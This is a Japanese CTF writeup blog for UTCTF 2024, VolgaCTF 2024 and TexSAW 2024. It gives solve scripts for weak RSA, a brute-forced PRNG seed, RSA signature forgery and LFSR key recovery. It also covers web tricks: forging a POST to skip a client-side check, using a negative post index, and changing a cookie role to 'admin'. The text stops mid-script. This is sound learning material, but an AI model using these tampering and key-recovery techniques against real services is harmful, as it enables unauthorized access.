UTCTF 2024 Writeup

この大会は2024/3/30 8:00(JST)~2024/4/1 8:00(JST)に開催されました。
今回もチームで参戦。結果は4138点で854チーム中141位でした。
自分で解けた問題をWriteupとして書いておきます。

Beginner: Basic Reversing Problem (Reverse Engineering)

Ghidraでデコンパイルする。

undefined8 main(EVP_PKEY_CTX *param_1,EVP_PKEY *param_2)

{
  keygen(param_1,param_2);
  return 0;
}

int keygen(EVP_PKEY_CTX *ctx,EVP_PKEY *pkey)

{
  long in_FS_OFFSET;
  undefined local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  l1(local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void l1(undefined *param_1)

{
  *param_1 = 0x75;
  l2(param_1 + 1);
  return;
}

void l2(undefined *param_1)

{
  *param_1 = 0x74;
  l3(param_1 + 1);
  return;
}

void l3(undefined *param_1)

{
  *param_1 = 0x66;
  l4(param_1 + 1);
  return;
}

void l4(undefined *param_1)

{
  *param_1 = 0x6c;
  l5(param_1 + 1);
  return;
}

void l5(undefined *param_1)

{
  *param_1 = 0x61;
  l6(param_1 + 1);
  return;
}

void l6(undefined *param_1)

{
  *param_1 = 0x67;
  l7(param_1 + 1);
  return;
}

void l7(undefined *param_1)

{
  *param_1 = 0x7b;
  l8(param_1 + 1);
  return;
}

void l8(undefined *param_1)

{
  *param_1 = 0x69;
  l9(param_1 + 1);
  return;
}

void l9(undefined *param_1)

{
  *param_1 = 0x5f;
  l10(param_1 + 1);
  return;
}

void l10(undefined *param_1)

{
  *param_1 = 99;
  l11(param_1 + 1);
  return;
}

void l11(undefined *param_1)

{
  *param_1 = 0x34;
  l12(param_1 + 1);
  return;
}

void l12(undefined *param_1)

{
  *param_1 = 0x6e;
  l13(param_1 + 1);
  return;
}

void l13(undefined *param_1)

{
  *param_1 = 0x5f;
  l14(param_1 + 1);
  return;
}

void l14(undefined *param_1)

{
  *param_1 = 0x72;
  l15(param_1 + 1);
  return;
}

void l15(undefined *param_1)

{
  *param_1 = 0x33;
  l16(param_1 + 1);
  return;
}

void l16(undefined *param_1)

{
  *param_1 = 0x76;
  l17(param_1 + 1);
  return;
}

void l17(undefined *param_1)

{
  *param_1 = 0x21;
  l18(param_1 + 1);
  return;
}

void l18(undefined *param_1)

{
  *param_1 = 0x7d;
  l19(param_1 + 1);
  return;
}

void l19(undefined *param_1)

{
  *param_1 = 0;
  return;
}

順にコードを文字にしていけばよい。

>>> codes = [0x75, 0x74, 0x66, 0x6c, 0x61, 0x67, 0x7b, 0x69, 0x5f, 99, 0x34, 0x6e, 0x5f, 0x72, 0x33, 0x76, 0x21, 0x7d]
>>> ''.join([chr(code) for code in codes])
'utflag{i_c4n_r3v!}'
utflag{i_c4n_r3v!}

HTMLソースを見ると、以下のスクリプトが書かれている。

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            var count = parseInt(localStorage.getItem('count')) || 0;
            var cookieImage = document.getElementById('cookieImage');
            var display = document.getElementById('clickCount');

            display.textContent = count;

            cookieImage.addEventListener('click', function() {
                count++;
                display.textContent = count;
                localStorage.setItem('count', count);

                if (count >= 10000000) {
                    fetch('/click', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/x-www-form-urlencoded'
                        },
                        body: 'count=' + count
                    })
                    .then(response => response.json())
                    .then(data => {
                        alert(data.flag);
                    });
                }
            });
        });
    </script>

クリック回数が10000000回以上の場合の処理を実行する。

$ curl http://betta.utctf.live:8138/click -H "Content-Type: application/x-www-form-urlencoded" -d "count=10000000"
{"flag":"Wow, you beat me. Congrats! utflag{y0u_cl1ck_pr3tty_f4st}"}
utflag{y0u_cl1ck_pr3tty_f4st}

Contracts (Forensics)

https://www.extractpdf.com/で画像を抽出すると、フラグが書かれた画像が抽出できた。

utflag{s1mple_w1z4rding_mist4k3s}

RSA-256 (Cryptography)

Nをfactordbで素因数分解する。

N = 1025252665848145091840062845209085931 * 75575216771551332467177108987001026743883

あとは通常通り、RSA暗号の復号をする。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('vals.txt', 'r') as f:
    params = f.read().splitlines()

N = int(params[0].split(' ')[-1])
e = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])

p = 1025252665848145091840062845209085931
q = 75575216771551332467177108987001026743883
assert p * q == N

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)

flag = long_to_bytes(m).decode()
print(flag)
utflag{just_send_plaintext}

Beginner: Anti-dcode.fr (Cryptography)

シーザー暗号26パターンを実行し、"utflag{"が含まれるものを探し、フラグを抽出する。

#!/usr/bin/env python3
import string
import re

def caesar(s, key):
    d = ''
    for c in s:
        code = ord(c)
        if c in string.ascii_uppercase:
            code = code - key
            if code < ord('A'):
                code += 26
        elif c in string.ascii_lowercase:
            code = code - key
            if code < ord('a'):
                code += 26
        d += chr(code)
    return d

with open('LoooongCaesarCipher.txt', 'r') as f:
    enc = f.read()

for i in range(26):
    dec = caesar(enc, i)
    if 'utflag{' in dec:
        pattern = '(utflag\{[a-z_]+\})'
        m = re.search(pattern, dec)
        flag = m.group(1)
        print(flag)
        break
utflag{rip_dcode}

numbers go brrr (Cryptography)

サーバの処理概要は以下の通り。

・seed: 0以上10**6以下のランダム整数
・以下繰り返し
 ・user_input: 数値入力
 ・user_inputが1の場合、繰り返し終了
 ・message: 入力
 ・encrypt(message.encode())を表示
  ・key = b''
  ・8回以下繰り返し
   ・keyにget_random_number() % (2 ** 16)の2バイト文字を追加
  ・ciphertext: messageをパディングし、AES暗号化
  ・ciphertextを16進数表記で返却
・flag: フラグ
・encrypt(flag.encode())を表示

seedをブルートフォースし、平文と暗号文の組み合わせが合う鍵を探し、フラグを復号する。

#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def get_random_number():
    global seed
    seed = int(str(seed * seed).zfill(12)[3:9])
    return seed

def encrypt(message):
    key = b''
    for i in range(8):
        key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
    cipher = AES.new(key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(pad(message, AES.block_size))
    return ciphertext.hex()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('betta.utctf.live', 7356))

data = recvuntil(s, b'\n').rstrip()
print(data)

try_pt = '1234'

data = recvuntil(s, b'\n').rstrip()
print(data)
print('2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
print(try_pt)
s.sendall(try_pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
try_ct_hex = data.split(' ')[-1]

data = recvuntil(s, b'\n').rstrip()
print(data)
print('1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(data.split(' ')[-1])
print()

for seed in range(10 ** 6 + 1):
    ct_hex = encrypt(try_pt.encode())
    if ct_hex == try_ct_hex:
        break

key = b''
for i in range(8):
    key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(enc_flag), AES.block_size).decode()
print(flag)

実行結果は以下の通り。

Thanks for using our encryption service! To get the encrypted flag, type 1. To encrypt a message, type 2.
What would you like to do (1 - get encrypted flag, 2 - encrypt a message)?
2
What is your message?
1234
Here is your encrypted message: a8254764914d607479e2a1f3a48fd44c
What would you like to do (1 - get encrypted flag, 2 - encrypt a message)?
1
Here is the encrypted flag: 6f6a9ce8ada3ef9d09a1c953332ec706b0c6a37b57fcd406c4b3e8435c649a2320920190e4656fca057271a8aa2d206f

utflag{deep_seated_and_recurring_self-doubts}
utflag{deep_seated_and_recurring_self-doubts}

bits and pieces (Cryptography)

1つ目のRSA暗号はFermat法でnを素因数分解して復号する。また2つ目と3つ目のRSA暗号は共通する素数をGCDを使用して割り出し、それぞれ素因数分解して復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

with open('vals.txt', 'r') as f:
    params = f.read().splitlines()

n1 = int(params[0].split(': ')[1])
e1 = int(params[1].split(': ')[1])
c1 = int(params[2].split(': ')[1])

n2 = int(params[4].split(': ')[1])
e2 = int(params[5].split(': ')[1])
c2 = int(params[6].split(': ')[1])

n3 = int(params[8].split(': ')[1])
e3 = int(params[9].split(': ')[1])
c3 = int(params[10].split(': ')[1])

assert e1 == e2 == e3

p, q = fermat(n1)
phi = (p - 1) * (q - 1)
d = inverse(e1, phi)
m = pow(c1, d, n1)
flag1 = long_to_bytes(m).decode()

p = GCD(n2, n3)
assert p != 1

q2 = n2 // p
phi = (p - 1) * (q2 - 1)
d = inverse(e2, phi)
m = pow(c2, d, n2)
flag2 = long_to_bytes(m).decode()

q3 = n3 // p
phi = (p - 1) * (q3 - 1)
d = inverse(e3, phi)
m = pow(c3, d, n3)
flag3 = long_to_bytes(m).decode()

flag = flag1 + flag2 + flag3
print(flag)
utflag{oh_no_it_didnt_work_</3_i_guess_i_can_just_use_standard_libraries_in_the_future}

Cryptordle (Cryptography)

サーバの処理概要は以下の通り。

・wordlist: 単語の配列
・wordlistの各単語wordについて、以下を実行
 ・wordの長さが5であることをチェック
 ・wordの各文字letterが英小文字であることをチェック
・3回以下繰り返し
 ・answer: wordlistから1つ選択
 ・num_guesses = 0
 ・以下繰り返し
  ・num_guesses += 1
  ・guess: 入力
  ・guessがanswerと一致している場合、繰り返し終了
  ・response = 1
  ・5回以下繰り返し(x)
   ・a: guess[x]の英小文字インデックス
   ・b: answer[x]の英小文字インデックス
   ・response = (response * (a-b)) % 31
  ・responseを表示
 ・num_guessesが6より大きい場合終了
・フラグを表示

1箇所変更し、何倍になるかで答えとなる単語を導き出す。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('betta.utctf.live', 7496))

aj = ord('j') - ord('a')
ak = ord('k') - ord('a')

for attempt in range(3):
    answer = ''

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    guess_base = 'jjjjj'
    print(guess_base)
    s.sendall(guess_base.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    base = int(data)

    for x in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        guess = 'j' * x + 'k' + 'j' * (4 - x)
        print(guess)
        s.sendall(guess.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)

        val = int(data)
        for b in range(26):
            if (aj - b) * val % 31 == (ak - b) * base % 31:
                char = chr(ord('a') + b)
                answer += char
                break

    base_response = 1
    for x in range(4):
        a = ord(guess_base[x]) - ord('a')
        b = ord(answer[x]) - ord('a')
        base_response = (base_response * (a - b)) % 31

    for b in range(26):
        response = base_response
        a = ord(guess_base[x]) - ord('a')
        response = (response * (a - b)) % 31
        if response == base:
            char = chr(ord('a') + b)
            answer += char
            break

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print(answer)
    s.sendall(answer.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

What's your guess?
jjjjj
5
What's your guess?
kjjjj
17
What's your guess?
jkjjj
16
What's your guess?
jjkjj
10
What's your guess?
jjjkj
24
What's your guess?
grimy
Good job! Onward...
What's your guess?
jjjjj
4
What's your guess?
kjjjj
6
What's your guess?
jkjjj
1
What's your guess?
jjkjj
7
What's your guess?
jjjkj
16
What's your guess?
hasty
Good job! Onward...
What's your guess?
jjjjj
9
What's your guess?
kjjjj
17
What's your guess?
jkjjj
8
What's your guess?
jjkjj
8
What's your guess?
jjjkj
10
What's your guess?
essay
Good job! Onward...
Nice! You got it :) Have a flag:
utflag{sometimes_pure_guessing_is_the_strat}
utflag{sometimes_pure_guessing_is_the_strat}

numbers go brrr 2 (Cryptography)

サーバの処理概要は以下の通り。

・seed: 0以上10**6以下のランダム整数
・以下3回繰り返し
 ・seed: 0以上10**6以下のランダム整数
 ・key = encrypt(b"random text to initalize key")[0]
 ・以下繰り返し
  ・user_input: 数値入力
  ・user_inputが1の場合、繰り返し終了
  ・message: 入力
  ・key, ciphertext = encrypt(message.encode())
  ・ciphertextを表示
 ・found = False
 ・以下250回繰り返し
  ・guess: 入力
  ・guessとkeyが一致している場合
   ・found = True
   ・繰り返し終了
  ・guessとkeyが一致していない場合
   ・該当メッセージを表示
 ・foundがFalseの場合終了
・フラグを表示

seedをブルートフォースし、平文と暗号文の組み合わせが合う鍵を探す。

#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def get_random_number():
    global seed 
    seed = int(str(seed * seed).zfill(12)[3:9])
    return seed

def encrypt(message):
    key = b''
    for i in range(8):
        key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
    cipher = AES.new(key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(pad(message, AES.block_size))
    return key.hex(), ciphertext.hex()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('betta.utctf.live', 2435))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

for i in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    try_pt = '1234'

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print('2')
    s.sendall(b'2\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print(try_pt)
    s.sendall(try_pt.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    try_ct_hex = data.split(' ')[-1]

    for seed in range(10 ** 6 + 1):
        key_hex, ct_hex = encrypt(try_pt.encode())
        if ct_hex == try_ct_hex:
            break

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print('1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print(key_hex)
    s.sendall(key_hex.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Thanks for using our encryption service! To get the start guessing, type 1. To encrypt a message, type 2.
You will need to guess the key (you get 250 guesses for one key). You will do this 3 times!
Find the key 1 of 3!
What would you like to do (1 - guess the key, 2 - encrypt a message)?
2
What is your message?
1234
Here is your encrypted message: c262a1a250dc9c1c3b60940c0c8c4bc5
What would you like to do (1 - guess the key, 2 - encrypt a message)?
1
You have 250 guesses to find the key!
What is your guess (in hex)?
38106fde83a77b6a724ac4ac5ce5a11f
You found the key!
Find the key 2 of 3!
What would you like to do (1 - guess the key, 2 - encrypt a message)?
2
What is your message?
1234
Here is your encrypted message: 5dd809df595f3f7ad9193d84ad104e54
What would you like to do (1 - guess the key, 2 - encrypt a message)?
1
You have 250 guesses to find the key!
What is your guess (in hex)?
a6d9e9fe301ccf6409e3f7616e3d0f67
You found the key!
Find the key 3 of 3!
What would you like to do (1 - guess the key, 2 - encrypt a message)?
2
What is your message?
1234
Here is your encrypted message: 3fc72ed1725ec4597dfb15459aa3b0ff
What would you like to do (1 - guess the key, 2 - encrypt a message)?
1
You have 250 guesses to find the key!
What is your guess (in hex)?
ad9b5968466e0f5f9b6bbb8bb7cfb0a3
You found the key!
Here is the flag: utflag{ok_you_are_either_really_lucky_or_you_solved_it_as_intended_yay}
utflag{ok_you_are_either_really_lucky_or_you_solved_it_as_intended_yay}

simple signature (Cryptography)

$ nc betta.utctf.live 4374
Welcome to the signature generator!
This service generates signatures for nonnegative integer messages.
Today's RSA parameters are: 
n = 21256683315158182129815856331774550219736491659822013777716561403821759106942281553515127548337855434048450386309203634846966770626707737976786578578333663561713725571747549027632868189683318875229850994034558102034412982079423514302939077444742503129302726410235332341952073804606455906118875300358250493598578145242327054365472161513043655796279793521090367257196871638408895409825645953298225120130288671527609928671935379050436498665770230821360288608340575254789593194298367560007619012294850204968087401519447108433848214210445628715721764885069947977533038779890839352843397198704785901489138850520012604735409
e = 65537
Enter a message as an integer (enter 0 to stop): 2
Your signature is: 9008713126753812606011450560795999983628754565781192321534488829838369501952103936146474773001285659513690501893121485196095055975697286303499698153613457741924379705227475544080178997110805379992972098139290290226431777397101866595061818137546060738499225208101502055574688482077678941436271342264447208867798805722791535086091682216242244033815057186892893010980193607422167617166235239381106596853232383017014930464444923074422979433762404293220768415327177933596487826362256186740360846899990120510905871952493666779745057815770355935843560053301001534775647803868595046018020772095448598122540322023235388466469
Enter a message as an integer (enter 0 to stop): 0
Now, come up with your own pair!
Enter a message: 2
Enter a signature: 9008713126753812606011450560795999983628754565781192321534488829838369501952103936146474773001285659513690501893121485196095055975697286303499698153613457741924379705227475544080178997110805379992972098139290290226431777397101866595061818137546060738499225208101502055574688482077678941436271342264447208867798805722791535086091682216242244033815057186892893010980193607422167617166235239381106596853232383017014930464444923074422979433762404293220768415327177933596487826362256186740360846899990120510905871952493666779745057815770355935843560053301001534775647803868595046018020772095448598122540322023235388466469
Cannot enter a message that you already requested.

すでに指定したメッセージは指定できない。
以下のように掛け算で対応する。

sign(2) * sign(3) = sign(2 * 3) = sign(6)

つまり、2のsignatureと3のsignatureを掛け算して、nで割った余りは6のsignatureになる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('betta.utctf.live', 4374))

for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
e = int(data.split(' ')[-1])

msg1 = 2
data = recvuntil(s, b': ')
print(data + str(msg1))
s.sendall(str(msg1).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sign1 = int(data.split(' ')[-1])

msg2 = 3
data = recvuntil(s, b': ')
print(data + str(msg2))
s.sendall(str(msg2).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sign2 = int(data.split(' ')[-1])

msg = msg1 * msg2
sign = sign1 * sign2 % n
data = recvuntil(s, b': ')
print(data + '0')
s.sendall(b'0\n')
data = recvuntil(s, b': ')
print(data + str(msg))
s.sendall(str(msg).encode() + b'\n')
data = recvuntil(s, b': ')
print(data + str(sign))
s.sendall(str(sign).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Welcome to the signature generator!
This service generates signatures for nonnegative integer messages.
Today's RSA parameters are:
n = 22745040857603356094950654119013238723747220178610034852956242041562118237276081614630730515116320707642464350162664776909328033671621035970037099984090401985036500786215882362673949544724701351702912751994243681832886951060143576518069616159575153003220437956455716817271687585305182748114221157079466544219358552743750071158665042390352892225780880626672435090222836535227896004995605606638385751930854647803703207804978831496876933751774423816093334998692863816963960154660924426693605540706759797424401196054144615532821154267469412900552576245981069208807704613152854077917101279909066353977957463864413560023021
e = 65537
Enter a message as an integer (enter 0 to stop): 2
Your signature is: 9771728127420216438291835326570484519213948796085940733565111554302250933329663350576417117750608579719613061331441446546314316153007856956324333962551856613848550753055848284993047255748151261189822986688297942376939191547592466495993733461389396328425724049649199526958459886324852435254646078883654540905122012907094091320955847826798682115946480116758659104870829753562606678981451474118954274496785971392186312570363019066197559892733076246596277730910105487653771365696167538182632442947783322211008677008544608073938497673793908781559416785872041634531173325540113460746309660795478581331374905376345742352104
Enter a message as an integer (enter 0 to stop): 3
Your signature is: 15184926436984207327413599111688835154553124148571788663482988884563402565970130089438457037102287842549020950017784430846786223384555754774570708289943532606790760532829767385581104136340138806851828151461412594086502230267691292199154726841639558992521953053027264432147362707536762715897873598893894463881511315877054246526706413757426178807393768173530208334140095076590954658577489109139787717676418546920303709944283550402937938790112338850053872100781180257764868762894031181040639411839173677256161368277480431358717312962075225713465769247303150138469667451618563103163474871034508347120243927294355269289274
Enter a message as an integer (enter 0 to stop): 0
Now, come up with your own pair!
Enter a message: 6
Enter a signature: 16235471999399052729022938376393109605567026071458583804559271990193467410073795381846501865827643540851419074009527643292839224065809948450423857203043598084832480568186578361637368585968559426397302661365563429713694975808010388433552999440641045697632334380163883415746830091922515758005222043603264915039782423068309087020523916089816408778463170651918121856553919915383102039188993936162422992730214593525338147092972428373731285352025588698703399984020753514983821282995427516251661888455604952762268026558670747724249577969128422578136151189780316619099973132967922260109552080743844094221685368487561433642384
Congrats! Here is the flag: utflag{a1m05t_t3xtb00k_3x3rc153}
utflag{a1m05t_t3xtb00k_3x3rc153}

Survey (Misc)

アンケートに答えたら、以下のようなメッセージが表示された。

thank yoU for filling ouT our Feedback form!  pLeAse rate the ctf on ctftime when you Get a chance. rememBer that we will accept Your writEups for forTy-eigHt hours After the competitioN for writeup prizes. hooK em hornS!

大文字を並べる。

UTFLAGBYETHANKS
utflag{byethanks}

VolgaCTF 2024 Qualifier Writeup

この大会は2024/3/31 0:00(JST)~2024/4/1 0:00(JST)に開催されました。
今回もチームで参戦。結果は295点で257チーム中100位でした。
自分で解けた問題をWriteupとして書いておきます。

PQ (crypto)

Nを素因数分解する。

N = 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043577475707379430674941097523563439495291391376433292863780301364692520578080638180885760050174506019604723296382744280564071968270446660250234587067991312783613649361373626181634408704506324790573495089018767820926445333763821104985493381745364201010694528200379210559415841578043670235152463040761395093466757
  * 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043583332241787496934511124508164581479242699938954664986778778089174462752116916848703843649899098070668669678312274875686923774909987821333120312320645501581685293243247702323898532381890355435523179413889042894904950054113266062322984191234608909924029167449813744492456171898301189923726970620918920525920821

あとは通常通り、RSA暗号の復号を行う。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output', 'r') as f:
    params = f.read().splitlines()

N = int(params[0])
c = bytes_to_long(eval(params[1]))
e = 65537

p = 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043577475707379430674941097523563439495291391376433292863780301364692520578080638180885760050174506019604723296382744280564071968270446660250234587067991312783613649361373626181634408704506324790573495089018767820926445333763821104985493381745364201010694528200379210559415841578043670235152463040761395093466757
q = 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043583332241787496934511124508164581479242699938954664986778778089174462752116916848703843649899098070668669678312274875686923774909987821333120312320645501581685293243247702323898532381890355435523179413889042894904950054113266062322984191234608909924029167449813744492456171898301189923726970620918920525920821
assert N == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()
print(flag)
VolgaCTF{0x8922165e83fa29b582f6a252cb337a05}

QR (crypto)

フラグ入りのQRコードに対する処理の概要は以下の通り。

・generator = LFSR(register, branches)
 ・generator.register = register(未知)
 ・generator.branches = branches(未知)
 ・generator.n: registerの長さ
・image: QRコード画像オブジェクト
・w: QRコード画像の幅
・h: QRコード画像の高さ
・new_image: 新しい画像オブジェクト
・pixels: QRコード画像ピクセルデータ
・各ピクセルについて以下を実行
 ・pixel: 白の場合1、黒の場合0
 ・next_bit = generator.next_bit()
 ・encrypted = pixel ^ next_bit
 ・new_imageにencrypted * 255を設定

画像のサイズから2x2で1つのセルを表していると推測できる。元の画像の左上から右に0000000000000011になっているはず。
16個分のregisterを割り出すと以下のようになる。

[1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1]

registerの長さを総当たりで考え、推測する。

・長さ1の場合、register = [1]、branches = [1]
 ret = 1
 new = 0
 new ^= 1 = 1
 register = [1] -> NG

・長さ2の場合、register = [0, 1]、branches = [1]
 ret = 1
 new = 0
 new ^= 0 = 0
 register = [0, 0]
 ret = 0
 new = 0
 new ^= 0 = 0
  :
 0しか出てこない -> NG
 ※長さ3~6も同様

・長さ7の場合、register = [1, 0, 0, 0, 0, 0, 1]
 -> branches = [1, 3, 4, 5, 7] -> OK

とりあえずこの前提で復号してみる。

#!/usr/bin/env python3
from PIL import Image

class LFSR:
    def __init__(self, register, branches):
        self.register = register
        self.branches = branches
        self.n = len(register)

    def next_bit(self):
        ret = self.register[self.n - 1]
        new = 0
        for i in self.branches:
            new ^= self.register[i - 1]
        self.register = [new] + self.register[:-1]

        return ret

image = Image.open('qr.png')
w = image.width
h = image.height

pixels = image.load()

## research ##
register = []
for i in range(16):
    pixel = pixels[i, 0] // 255
    if i < 14:
        register.append(pixel ^ 0)
    else:
        register.append(pixel ^ 1)
register = register[::-1]
print('[+] register sequence:', register)

## decrypt ##
register = [1, 0, 0, 0, 0, 0, 1]
branches = [1, 3, 4, 5, 7]

generator = LFSR(register, branches)

org_image = Image.new(image.mode, image.size)

for y in range(h):
    for x in range(w):
        pixel = pixels[x, y] // 255
        next_bit = generator.next_bit()
        decrypted = pixel ^ next_bit

        org_image.putpixel((x, y), decrypted * 255)

org_image.save('flag_qr.png', image.format)


復号した結果、QRコードになったので、コードリーダで読み取る。

VolgaCTF{0x05d76db737ac94674907136eb1f15f02}

Feedback (misc)

アンケートに答えたら、フラグが表示された。

VolgaCTF{5b84a0a9f6ba8d171b4a5633a4457a1f}

Texas Security Awareness Week 2024 Writeup

この大会は2024/3/24 0:00(JST)~2024/3/25 7:00(JST)に開催されました。
今回もチームで参戦。結果は1910点で410チーム中26位でした。
自分で解けた問題をWriteupとして書いておきます。

Join our Discord (Tutorial 10)

Discordに入り、#challenge-listのTutorialsを見ると、以下のようにフラグが書いてあった。

Tutorials
- Join our Discord (texsaw{welcome_to_texsaw_2024_have_fun})
texsaw{welcome_to_texsaw_2024_have_fun}

PS2 games (Miscellaneous 50)

sqlファイルを元に、2000 年代 (2000 ~ 2009 年を含む) にプレイステーション用にリリースされたゲームの数を答える問題。
初めにmysqlsqlを取り込む。

$ sudo mysql                           
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 33
Server version: 10.11.2-MariaDB-1 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> source db.sql

        :
        :

Query OK, 1 row affected (0.001 sec)

Query OK, 1 row affected (0.001 sec)

platformが'PlayStation'で、リリース日が'2000-01-01'以降、'2010-01-01'より前のGameの数を出力したい。
Platformsテーブルでplatform_nameが'PlayStation'のIDを確認する。

MariaDB [gamestore]> select platform_id from Platforms where platform_name = 'PlayStation';
+-------------+
| platform_id |
+-------------+
|           2 |
+-------------+
1 row in set (0.000 sec)

GamesテーブルとGamePlatformsテーブルをgame_idで結合し、release_dateが'2000-01-01'以降、'2010-01-01'より前で、platform_idが2の数を出力する。

MariaDB [gamestore]> select count(*) from Games join GamePlatforms on Games.game_id = GamePlatforms.game_id where platform_id = 2 and release_date >= '2000-01-01' and release_date < '2010-01-01';
+----------+
| count(*) |
+----------+
|       42 |
+----------+
1 row in set (0.001 sec)
texsaw{42}

Ultron Encodes (RE/Pwn 50)

$ strings ul7r0n3nc0desStrings             
!!!!!!Hint maybe check for utf16LE???
 NB)
B)|.B)znB)x
B)s.B)qNB)onB)m
B)KnB)INB)G.B)D
        :

32ビットのワイド文字列として抽出する。

$ strings ul7r0n3nc0desStrings --encoding=L
flag{y0u4r34llpupp3tsTan6l3d1nStrings
flag{y0u4r34llpupp3tsTan6l3d1nStrings}

Out of Bounds (Web 50)

指定のURLにアクセスすると、http://3.23.56.243:9004/post/0/にリダイレクトされる。「Show Me The Posts!!」をクリックすると、http://3.23.56.243:9004/post/1/に遷移する。/post/2以降に遷移でき、/post/5以降はコンテンツがない。
http://3.23.56.243:9004/post/-1/にアクセスしてみると、フラグが表示された。

texsaw{aw4y_fr0m_the_b0und4rie5_4cd1efa8}

クッキーのroleに"user"と設定されている。これを"admin"に変更し、リロードすると、フラグが表示された。

texsaw{cR@zy_c00Ki3}

Over 9000 (Web 50)

http://3.23.56.243:9005/9000.jsを見ると、以下のようになっている。

let currentEnergy = 0;

function gatheringEnergy(){
    currentEnergy++;
    $("#energycount").html(`${currentEnergy}`);
    if(currentEnergy == 10)
    {
        alert("out of energy try again :(")
        currentEnergy = 0;
        $("#energycount").html(0);
        
    }
    else if (currentEnergy > 9000)
    {
        
        $.ajax({
            type:"POST",
            url:"kamehameha.php",
            data:{energy: currentEnergy},
            success: function(flag){
                alert(`${flag}`);
            },
            error: function(responseText,status, error){
                console.log(`Tell the infrastructure team to fix this: Status = ${status} ; Error = ${error}`);
            }


        })
        
